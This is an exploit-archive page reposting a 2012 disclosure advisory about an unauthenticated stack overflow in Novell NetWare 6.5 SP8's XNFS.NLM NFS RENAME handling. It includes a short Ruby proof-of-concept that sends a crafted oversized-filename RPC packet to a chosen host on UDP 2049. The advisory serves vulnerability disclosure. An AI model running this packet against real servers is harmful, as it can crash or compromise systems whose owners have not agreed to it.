exploit the possibilities

Novell Netware XNFS.NLM NFS Rename Remote Code Execution

Novell Netware XNFS.NLM NFS Rename Remote Code Execution
Posted Jan 7, 2012
Authored by Francis Provencher

Novell Netware version 6.5 SP8 suffers from a XNFS.NLM NFS Rename remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 932cbf32f536d7915c5001d7b70f4ad7

Novell Netware XNFS.NLM NFS Rename Remote Code Execution

Change Mirror Download
#####################################################################################

Application: Novell Netware XNFS.NLM NFS Rename Remote Code Execution Vulnerability

Platforms: Novell Netware 6.5 SP8

Exploitation: Remote code execution

CVE Number:

Novell TID: 5117430

ZDI: ZDI-12-06

{PRL}: 2012-02

Author: Francis Provencher (Protek Research Lab's)

Website: http://www.protekresearchlab.com/

Twitter: @ProtekResearch


#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts.
The company specializes in enterprise operating systems, such as SUSE Linux Enterprise
and Novell NetWare; identity, security, and systems management solutions; and
collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software
development. Novell technology contributed to the emergence of local area networks,
which displaced the dominant mainframe computing model and changed computing worldwide.
Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

#####################################################################################

============================
2) Timeline
============================

2011-05-05 - Vulnerability reported to vendor
2012-01-05 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================


This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.

Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which

is used when handling NFS RPC requests. This process listens on UDP port 2049. When decoding the xdr encoded

filename from an NFS_RENAME procedure request the process uses the user supplied length as the bounds for its

copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the

context of the system.


#####################################################################################

===========
4) The Code
===========

#!/usr/bin/ruby

require 'socket'

xnfs_server = (ARGV[0])
target_port = (ARGV[1] || 2049)

#RPC/Portmap packet
beepbeep=
"\x1c\xd1\xef\xab" + # XID
"\x00\x00\x00\x00" + # Message Type: Call (0)
"\x00\x00\x00\x02" + # RPC Version: 2
"\x00\x01\x86\xa3" + # Program: 100003
"\x00\x00\x00\x02" + # Program Version: 2
"\x00\x00\x00\x0b" + # Procedure: Rename
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Credential
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x41\x41\x42\x42\x42\x42"




puts "[+]Sending UDP Packet...\n"
puts "[+] beep beep\n"
puts "[+]No, it's not the road runner\n"


if (!(xnfs_server && target_port))
puts "Usage: PRL-2012-02.rb host port (default port: 2049)\n"
exit
else

sock = UDPSocket.open
sock.connect(xnfs_server, target_port.to_i)
sock.send(beepbeep, 0)
end


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    22 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close